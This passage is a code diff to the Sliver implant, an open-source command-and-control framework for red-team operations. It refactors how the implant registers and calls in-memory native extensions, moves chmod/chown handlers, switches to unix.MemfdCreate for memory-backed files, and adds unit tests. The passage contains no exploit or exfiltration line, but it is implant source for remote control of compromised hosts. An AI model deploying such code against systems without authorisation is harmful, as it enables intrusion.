|
||||
}()
|
||||
|
||||
call := u.active.Load()
|
||||
if call == nil || call.onFinish == nil {
|
||||
return Failure
|
||||
}
|
||||
if dataLen == 0 {
|
||||
return Success
|
||||
}
|
||||
if data == nil || dataLen < 0 {
|
||||
return Failure
|
||||
}
|
||||
|
||||
output := append([]byte(nil), unsafe.Slice((*byte)(data), int(dataLen))...)
|
||||
call.onFinish(output)
|
||||
return Success
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
//go:build (darwin && (amd64 || arm64)) || (linux && (386 || amd64 || arm64))
|
||||
|
||||
package extension
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func TestUnixExtensionCallbackCopiesOutput(t *testing.T) {
|
||||
extension := &UnixExtension{}
|
||||
var got []byte
|
||||
call := &extensionCall{onFinish: func(output []byte) {
|
||||
got = output
|
||||
}}
|
||||
extension.active.Store(call)
|
||||
defer extension.active.Store(nil)
|
||||
|
||||
source := []byte("extension output")
|
||||
result := extension.extensionCallback(unsafe.Pointer(&source[0]), int32(len(source)))
|
||||
if result != Success {
|
||||
t.Fatalf("extension callback returned %d, want %d", result, Success)
|
||||
}
|
||||
source[0] = 'X'
|
||||
if !bytes.Equal(got, []byte("extension output")) {
|
||||
t.Fatalf("extension callback output = %q, want an independent copy", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnixExtensionCallbackRejectsInvalidCalls(t *testing.T) {
|
||||
extension := &UnixExtension{}
|
||||
if result := extension.extensionCallback(nil, 1); result != Failure {
|
||||
t.Fatalf("callback without an active call returned %d, want %d", result, Failure)
|
||||
}
|
||||
|
||||
extension.active.Store(&extensionCall{onFinish: func([]byte) {}})
|
||||
defer extension.active.Store(nil)
|
||||
if result := extension.extensionCallback(nil, 1); result != Failure {
|
||||
t.Fatalf("callback with a nil data pointer returned %d, want %d", result, Failure)
|
||||
}
|
||||
source := byte(0)
|
||||
if result := extension.extensionCallback(unsafe.Pointer(&source), -1); result != Failure {
|
||||
t.Fatalf("callback with a negative length returned %d, want %d", result, Failure)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnixExtensionCallbackContainsPanics(t *testing.T) {
|
||||
extension := &UnixExtension{}
|
||||
extension.active.Store(&extensionCall{onFinish: func([]byte) {
|
||||
panic("callback failed")
|
||||
}})
|
||||
defer extension.active.Store(nil)
|
||||
|
||||
source := []byte("output")
|
||||
if result := extension.extensionCallback(unsafe.Pointer(&source[0]), int32(len(source))); result != Failure {
|
||||
t.Fatalf("panicking callback returned %d, want %d", result, Failure)
|
||||
}
|
||||
}
|
||||
@@ -31,11 +31,6 @@ import (
|
||||
reflektor "github.com/sliverarmory/reflektor/memmod"
|
||||
)
|
||||
|
||||
const (
|
||||
Success = 0
|
||||
Failure = 1
|
||||
)
|
||||
|
||||
type WindowsExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
|
||||
@@ -2,16 +2,18 @@
|
||||
|
||||
## Overview
|
||||
|
||||
Runtime message handlers that react to server instructions. Dispatches inbound RPC messages to feature-specific executors. Runtime components handle extensions WASM, handlers wireguard, handlers darwin, and handlers generic for implant-side handlers features.
|
||||
Runtime message handlers that react to server instructions. Dispatches inbound RPC messages to feature-specific executors, including native and WASM extension lifecycle requests.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `extensions-wasm.go` – Routes extension-related RPC messages to the WASM runtime.
|
||||
- `handlers_extensions.go` – Shared Windows, macOS, and Linux native extension registration, invocation, and listing handlers.
|
||||
- `handlers-wireguard.go` – Handles WireGuard control messages and state updates.
|
||||
- `handlers.go` – Registers core handler functions and shared dispatch utilities.
|
||||
- `handlers_darwin.go` – macOS-specific handler bindings and feature toggles.
|
||||
- `handlers_generic.go` – Generic handler implementations used when no platform specialization is required.
|
||||
- `handlers_linux.go` – Linux-focused handler logic and build tags.
|
||||
- `handlers_unix.go` – Shared macOS and Linux permission-change handlers.
|
||||
- `handlers_windows.go` – Windows-specific handler implementations.
|
||||
- `kill-handlers.go` – Processes kill commands for sessions and tasks in a platform-agnostic way.
|
||||
- `kill-handlers_windows.go` – Windows-specific kill command handling.
|
||||
|
||||
@@ -444,12 +444,13 @@ func cdHandler(data []byte, resp RPCResponse) {
|
||||
return
|
||||
}
|
||||
|
||||
os.Chdir(cdReq.Path)
|
||||
dir, err := os.Getwd()
|
||||
pwd := &sliverpb.Pwd{Path: dir}
|
||||
if err != nil {
|
||||
resp([]byte{}, err)
|
||||
return
|
||||
chdirErr := os.Chdir(cdReq.Path)
|
||||
dir, getwdErr := os.Getwd()
|
||||
pwd := &sliverpb.Pwd{Path: dir, Response: &commonpb.Response{}}
|
||||
if chdirErr != nil {
|
||||
pwd.Response.Err = chdirErr.Error()
|
||||
} else if getwdErr != nil {
|
||||
pwd.Response.Err = getwdErr.Error()
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -984,7 +985,7 @@ func extractFiles(data []byte, path string, overwrite bool) (int, int, error) {
|
||||
return filesWritten, filesSkipped, err
|
||||
}
|
||||
}
|
||||
file, err := os.OpenFile(fileName, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
|
||||
file, err := os.OpenFile(fileName, os.O_CREATE|os.O_RDWR|os.O_TRUNC, os.FileMode(header.Mode))
|
||||
if err != nil {
|
||||
file.Close()
|
||||
return filesWritten, filesSkipped, err
|
||||
|
||||
@@ -53,6 +53,8 @@ var (
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgChtimesReq: chtimesHandler,
|
||||
pb.MsgGrepReq: grepHandler,
|
||||
pb.MsgChmodReq: chmodHandler,
|
||||
pb.MsgChownReq: chownHandler,
|
||||
|
||||
pb.MsgScreenshotReq: screenshotHandler,
|
||||
pb.MsgNetstatReq: netstatHandler,
|
||||
@@ -92,69 +94,8 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &pb.RegisterExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext := extension.NewDarwinExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
extension.Add(ext)
|
||||
err = ext.Load()
|
||||
registerResp := &pb.RegisterExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &pb.CallExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &pb.CallExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
gotOutput := false
|
||||
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
gotOutput = true
|
||||
callResp.Output = out
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
})
|
||||
// Only send back synchronously if there was an error
|
||||
if err != nil || !gotOutput {
|
||||
if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
}
|
||||
}
|
||||
|
||||
func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
lstReq := &pb.ListExtensionsReq{}
|
||||
err := proto.Unmarshal(data, lstReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
exts := extension.List()
|
||||
lstResp := &pb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: exts,
|
||||
}
|
||||
data, err = proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
func newExtension(data []byte, id string, arch string, init string) extension.Extension {
|
||||
return extension.NewDarwinExtension(data, id, arch, init)
|
||||
}
|
||||
|
||||
func mountHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
//go:build linux || darwin || windows
|
||||
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
type extensionFactory func(data []byte, id string, arch string, init string) extension.Extension
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerExtension(data, resp, newExtension)
|
||||
}
|
||||
|
||||
func registerExtension(data []byte, resp RPCResponse, factory extensionFactory) {
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
if err := proto.Unmarshal(data, registerReq); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext := factory(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
err := extension.Register(ext)
|
||||
registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
if err := proto.Unmarshal(data, callReq); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
|
||||
gotOutput := false
|
||||
var output []byte
|
||||
err := extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
// Native callbacks run on the extension's call stack. Keep the first
|
||||
// result, copy it before the native buffer expires, and respond only
|
||||
// after the extension call has returned.
|
||||
if gotOutput {
|
||||
return
|
||||
}
|
||||
gotOutput = true
|
||||
output = append([]byte(nil), out...)
|
||||
})
|
||||
if gotOutput {
|
||||
callResp.Output = output
|
||||
} else if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
lstReq := &sliverpb.ListExtensionsReq{}
|
||||
if err := proto.Unmarshal(data, lstReq); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
lstResp := &sliverpb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: extension.List(),
|
||||
}
|
||||
data, err := proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -0,0 +1,215 @@
|
||||
//go:build linux || darwin || windows
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"slices"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
type failingExtension struct {
|
||||
id string
|
||||
loadErr error
|
||||
}
|
||||
|
||||
type callbackLifetimeExtension struct {
|
||||
id string
|
||||
output []byte
|
||||
nativeOutput []byte
|
||||
callActive atomic.Bool
|
||||
callbackReturned chan struct{}
|
||||
allowCallReturn chan struct{}
|
||||
allowReturnOnce sync.Once
|
||||
}
|
||||
|
||||
func (f *failingExtension) Load() error {
|
||||
return f.loadErr
|
||||
}
|
||||
|
||||
func (f *failingExtension) Call(string, []byte, func([]byte)) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *failingExtension) GetID() string {
|
||||
return f.id
|
||||
}
|
||||
|
||||
func (f *failingExtension) GetArch() string {
|
||||
return "test"
|
||||
}
|
||||
|
||||
func (e *callbackLifetimeExtension) Load() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *callbackLifetimeExtension) Call(_ string, _ []byte, callback func([]byte)) error {
|
||||
e.callActive.Store(true)
|
||||
defer e.callActive.Store(false)
|
||||
|
||||
e.nativeOutput = append([]byte(nil), e.output...)
|
||||
callback(e.nativeOutput)
|
||||
for index := range e.nativeOutput {
|
||||
e.nativeOutput[index] = 0xa5
|
||||
}
|
||||
close(e.callbackReturned)
|
||||
<-e.allowCallReturn
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *callbackLifetimeExtension) GetID() string {
|
||||
return e.id
|
||||
}
|
||||
|
||||
func (e *callbackLifetimeExtension) GetArch() string {
|
||||
return "test"
|
||||
}
|
||||
|
||||
func (e *callbackLifetimeExtension) allowReturn() {
|
||||
e.allowReturnOnce.Do(func() {
|
||||
close(e.allowCallReturn)
|
||||
})
|
||||
}
|
||||
|
||||
func TestRegisterExtensionDoesNotAddFailedLoad(t *testing.T) {
|
||||
const extensionID = "handler-test-failed-load"
|
||||
wantErr := errors.New("load failed")
|
||||
request, err := proto.Marshal(&sliverpb.RegisterExtensionReq{Name: extensionID})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal request: %v", err)
|
||||
}
|
||||
|
||||
var (
|
||||
responseData []byte
|
||||
responseErr error
|
||||
responses int
|
||||
)
|
||||
registerExtension(request, func(data []byte, err error) {
|
||||
responses++
|
||||
responseData = data
|
||||
responseErr = err
|
||||
}, func(_ []byte, id string, _, _ string) extension.Extension {
|
||||
return &failingExtension{id: id, loadErr: wantErr}
|
||||
})
|
||||
|
||||
if responseErr != nil {
|
||||
t.Fatalf("response callback returned error: %v", responseErr)
|
||||
}
|
||||
if responses != 1 {
|
||||
t.Fatalf("got %d responses, want 1", responses)
|
||||
}
|
||||
response := &sliverpb.RegisterExtension{}
|
||||
if err := proto.Unmarshal(responseData, response); err != nil {
|
||||
t.Fatalf("unmarshal response: %v", err)
|
||||
}
|
||||
if response.GetResponse().GetErr() != wantErr.Error() {
|
||||
t.Fatalf("got response error %q, want %q", response.GetResponse().GetErr(), wantErr)
|
||||
}
|
||||
if slices.Contains(extension.List(), extensionID) {
|
||||
t.Fatalf("extension %q was registered after its load failed", extensionID)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCallExtensionHandlerDefersResponseAndCopiesCallbackOutput(t *testing.T) {
|
||||
const extensionID = "handler-test-callback-lifetime"
|
||||
wantOutput := []byte("native extension output")
|
||||
ext := &callbackLifetimeExtension{
|
||||
id: extensionID,
|
||||
output: wantOutput,
|
||||
callbackReturned: make(chan struct{}),
|
||||
allowCallReturn: make(chan struct{}),
|
||||
}
|
||||
extension.Add(ext)
|
||||
defer ext.allowReturn()
|
||||
|
||||
request, err := proto.Marshal(&sliverpb.CallExtensionReq{Name: extensionID, Export: "Run"})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal request: %v", err)
|
||||
}
|
||||
|
||||
type handlerResponse struct {
|
||||
data []byte
|
||||
err error
|
||||
callActive bool
|
||||
}
|
||||
responses := make(chan handlerResponse, 2)
|
||||
handlerDone := make(chan struct{})
|
||||
go func() {
|
||||
defer close(handlerDone)
|
||||
callExtensionHandler(request, func(data []byte, err error) {
|
||||
responses <- handlerResponse{
|
||||
data: append([]byte(nil), data...),
|
||||
err: err,
|
||||
callActive: ext.callActive.Load(),
|
||||
}
|
||||
})
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-ext.callbackReturned:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("extension callback did not return")
|
||||
}
|
||||
select {
|
||||
case <-responses:
|
||||
t.Fatal("RPC response was delivered before Extension.Call returned")
|
||||
default:
|
||||
}
|
||||
|
||||
ext.allowReturn()
|
||||
var response handlerResponse
|
||||
select {
|
||||
case response = <-responses:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("callExtensionHandler did not deliver a response")
|
||||
}
|
||||
if response.callActive {
|
||||
t.Fatal("RPC response was delivered while Extension.Call was active")
|
||||
}
|
||||
if response.err != nil {
|
||||
t.Fatalf("response callback returned error: %v", response.err)
|
||||
}
|
||||
|
||||
callResponse := &sliverpb.CallExtension{}
|
||||
if err := proto.Unmarshal(response.data, callResponse); err != nil {
|
||||
t.Fatalf("unmarshal response: %v", err)
|
||||
}
|
||||
if !bytes.Equal(callResponse.Output, wantOutput) {
|
||||
t.Fatalf("response output = %q, want %q", callResponse.Output, wantOutput)
|
||||
}
|
||||
if bytes.Equal(ext.nativeOutput, wantOutput) {
|
||||
t.Fatal("fake native output was not poisoned after the callback")
|
||||
}
|
||||
|
||||
select {
|
||||
case <-handlerDone:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("callExtensionHandler did not return")
|
||||
}
|
||||
select {
|
||||
case <-responses:
|
||||
t.Fatal("callExtensionHandler delivered more than one response")
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemHandlersIncludeExtensions(t *testing.T) {
|
||||
handlers := GetSystemHandlers()
|
||||
for _, messageType := range []uint32{
|
||||
sliverpb.MsgRegisterExtensionReq,
|
||||
sliverpb.MsgCallExtensionReq,
|
||||
sliverpb.MsgListExtensionsReq,
|
||||
} {
|
||||
if handlers[messageType] == nil {
|
||||
t.Errorf("handler for message type %d is not registered", messageType)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"bytes"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestCdHandlerReportsChdirFailure(t *testing.T) {
|
||||
workingDirectory := t.TempDir()
|
||||
t.Chdir(workingDirectory)
|
||||
|
||||
request, err := proto.Marshal(&sliverpb.CdReq{Path: filepath.Join(workingDirectory, "missing")})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
called := false
|
||||
cdHandler(request, func(data []byte, handlerErr error) {
|
||||
called = true
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("cdHandler callback error: %v", handlerErr)
|
||||
}
|
||||
response := &sliverpb.Pwd{}
|
||||
if err := proto.Unmarshal(data, response); err != nil {
|
||||
t.Fatalf("decode cd response: %v", err)
|
||||
}
|
||||
if response.GetResponse().GetErr() == "" {
|
||||
t.Fatal("cdHandler returned success for a missing directory")
|
||||
}
|
||||
if response.Path != workingDirectory {
|
||||
t.Fatalf("working directory changed: got %q, want %q", response.Path, workingDirectory)
|
||||
}
|
||||
})
|
||||
if !called {
|
||||
t.Fatal("cdHandler did not invoke its response callback")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractFilesTruncatesOverwrittenFile(t *testing.T) {
|
||||
destination := t.TempDir()
|
||||
archive := func(content string) []byte {
|
||||
t.Helper()
|
||||
buffer := bytes.NewBuffer(nil)
|
||||
writer := tar.NewWriter(buffer)
|
||||
header := &tar.Header{Name: "bundle/item.txt", Mode: 0o600, Size: int64(len(content)), Typeflag: tar.TypeReg}
|
||||
if err := writer.WriteHeader(header); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := writer.Write([]byte(content)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := writer.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return buffer.Bytes()
|
||||
}
|
||||
|
||||
if written, skipped, err := extractFiles(archive("a deliberately long first payload\n"), destination, false); err != nil || written != 1 || skipped != 0 {
|
||||
t.Fatalf("initial extract: written=%d skipped=%d err=%v", written, skipped, err)
|
||||
}
|
||||
if written, skipped, err := extractFiles(archive("short\n"), destination, true); err != nil || written != 1 || skipped != 0 {
|
||||
t.Fatalf("overwrite extract: written=%d skipped=%d err=%v", written, skipped, err)
|
||||
}
|
||||
content, err := os.ReadFile(filepath.Join(destination, "bundle", "item.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(content) != "short\n" {
|
||||
t.Fatalf("overwritten content = %q, want exact shorter payload", content)
|
||||
}
|
||||
}
|
||||
@@ -20,22 +20,20 @@ package handlers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/implant/sliver/mount"
|
||||
"github.com/bishopfox/sliver/implant/sliver/procdump"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/sys/unix"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -76,6 +74,11 @@ var (
|
||||
sliverpb.MsgMountReq: mountHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
sliverpb.MsgCallExtensionReq: callExtensionHandler,
|
||||
sliverpb.MsgListExtensionsReq: listExtensionsHandler,
|
||||
|
||||
// Wasm Extensions - Note that execution can be done via a tunnel handler
|
||||
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
|
||||
sliverpb.MsgDeregisterWasmExtensionReq: deregisterWasmExtensionHandler,
|
||||
@@ -91,11 +94,12 @@ var (
|
||||
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
|
||||
// {{end}}
|
||||
|
||||
// Linux Only
|
||||
// Unix permissions
|
||||
sliverpb.MsgChmodReq: chmodHandler,
|
||||
sliverpb.MsgChownReq: chownHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
|
||||
// Linux Only
|
||||
sliverpb.MsgMemfilesListReq: memfilesListHandler,
|
||||
sliverpb.MsgMemfilesAddReq: memfilesAddHandler,
|
||||
sliverpb.MsgMemfilesRmReq: memfilesRmHandler,
|
||||
@@ -107,6 +111,10 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
return linuxHandlers
|
||||
}
|
||||
|
||||
func newExtension(data []byte, id string, arch string, init string) extension.Extension {
|
||||
return extension.NewLinuxExtension(data, id, arch, init)
|
||||
}
|
||||
|
||||
func dumpHandler(data []byte, resp RPCResponse) {
|
||||
procDumpReq := &sliverpb.ProcessDumpReq{}
|
||||
err := proto.Unmarshal(data, procDumpReq)
|
||||
@@ -251,34 +259,24 @@ func memfilesListHandler(_ []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
func memfilesAddHandler(_ []byte, resp RPCResponse) {
|
||||
|
||||
var nrMemfdCreate int
|
||||
memfilesAdd := &sliverpb.MemfilesAdd{}
|
||||
memfilesAdd.Response = &commonpb.Response{}
|
||||
memfilesAdd := &sliverpb.MemfilesAdd{Response: &commonpb.Response{}}
|
||||
|
||||
memfdName := taskrunner.RandomString(8)
|
||||
memfd, err := syscall.BytePtrFromString(memfdName)
|
||||
fd, err := unix.MemfdCreate(memfdName, unix.MFD_CLOEXEC)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error during conversion: %s\n", err)
|
||||
log.Printf("Error creating memfd: %s\n", err)
|
||||
//{{end}}
|
||||
return
|
||||
}
|
||||
if runtime.GOARCH == "386" {
|
||||
nrMemfdCreate = 356
|
||||
memfilesAdd.Response.Err = err.Error()
|
||||
} else {
|
||||
nrMemfdCreate =
|
||||
319
|
||||
memfilesAdd.Fd = int64(fd)
|
||||
}
|
||||
|
||||
fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
|
||||
fd_str := fmt.Sprintf("%d", fd)
|
||||
fd_int, _ := strconv.ParseInt(fd_str, 0, 64)
|
||||
memfilesAdd.Fd = fd_int
|
||||
|
||||
data, err := proto.Marshal(memfilesAdd)
|
||||
if err != nil && fd >= 0 {
|
||||
_ = unix.Close(fd)
|
||||
}
|
||||
resp(data, err)
|
||||
|
||||
}
|
||||
|
||||
func memfilesRmHandler(data []byte, resp RPCResponse) {
|
||||
@@ -320,165 +318,3 @@ func memfilesRmHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
|
||||
}
|
||||
|
||||
func chmodHandler(data []byte, resp RPCResponse) {
|
||||
chmodReq := &sliverpb.ChmodReq{}
|
||||
err := proto.Unmarshal(data, chmodReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chmod := &sliverpb.Chmod{}
|
||||
target, _ := filepath.Abs(chmodReq.Path)
|
||||
chmod.Path = target
|
||||
// Make sure file exists
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chmod.Response = &commonpb.Response{}
|
||||
if err == nil {
|
||||
// Convert string to octal number
|
||||
octal, err := strconv.ParseInt(chmodReq.FileMode, 8, 32)
|
||||
if err == nil {
|
||||
|
||||
setuid := octal & 04000
|
||||
setgid := octal & 02000
|
||||
setstcky := octal & 01000
|
||||
|
||||
// Cast the octal number to fs.FileMode
|
||||
fileMode := os.FileMode(octal)
|
||||
|
||||
// Found this was necessary because the constructor above doesn't set special permissions
|
||||
if setuid > 0 {
|
||||
fileMode = fileMode | os.ModeSetuid
|
||||
}
|
||||
if setgid > 0 {
|
||||
fileMode = fileMode | os.ModeSetgid
|
||||
}
|
||||
if setstcky > 0 {
|
||||
fileMode = fileMode | os.ModeSticky
|
||||
}
|
||||
|
||||
if chmodReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, d fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chmod(file, fileMode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
err = os.Chmod(target, fileMode)
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(chmod)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func chownHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
// variable definitions so goto won't break
|
||||
var uid_str string
|
||||
var gid_str string
|
||||
var gid uint64
|
||||
var uid uint64
|
||||
var err error
|
||||
var usr *user.User
|
||||
var grp *user.Group
|
||||
|
||||
chownReq := &sliverpb.ChownReq{}
|
||||
err = proto.Unmarshal(data, chownReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chown := &sliverpb.Chown{}
|
||||
target, _ := filepath.Abs(chownReq.Path)
|
||||
chown.Path = target
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chown.Response = &commonpb.Response{}
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uid_str = chownReq.Uid
|
||||
usr, err = user.Lookup(uid_str)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uid, err = strconv.ParseUint(usr.Uid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gid_str = chownReq.Gid
|
||||
grp, err = user.LookupGroup(gid_str)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gid, err = strconv.ParseUint(grp.Gid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
// Check if the recursive flag is set and the path is a directory
|
||||
if chownReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, d fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chown(file, int(uid), int(gid))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
err = os.Chown(target, int(uid), int(gid))
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
|
||||
finished:
|
||||
data, err = proto.Marshal(chown)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
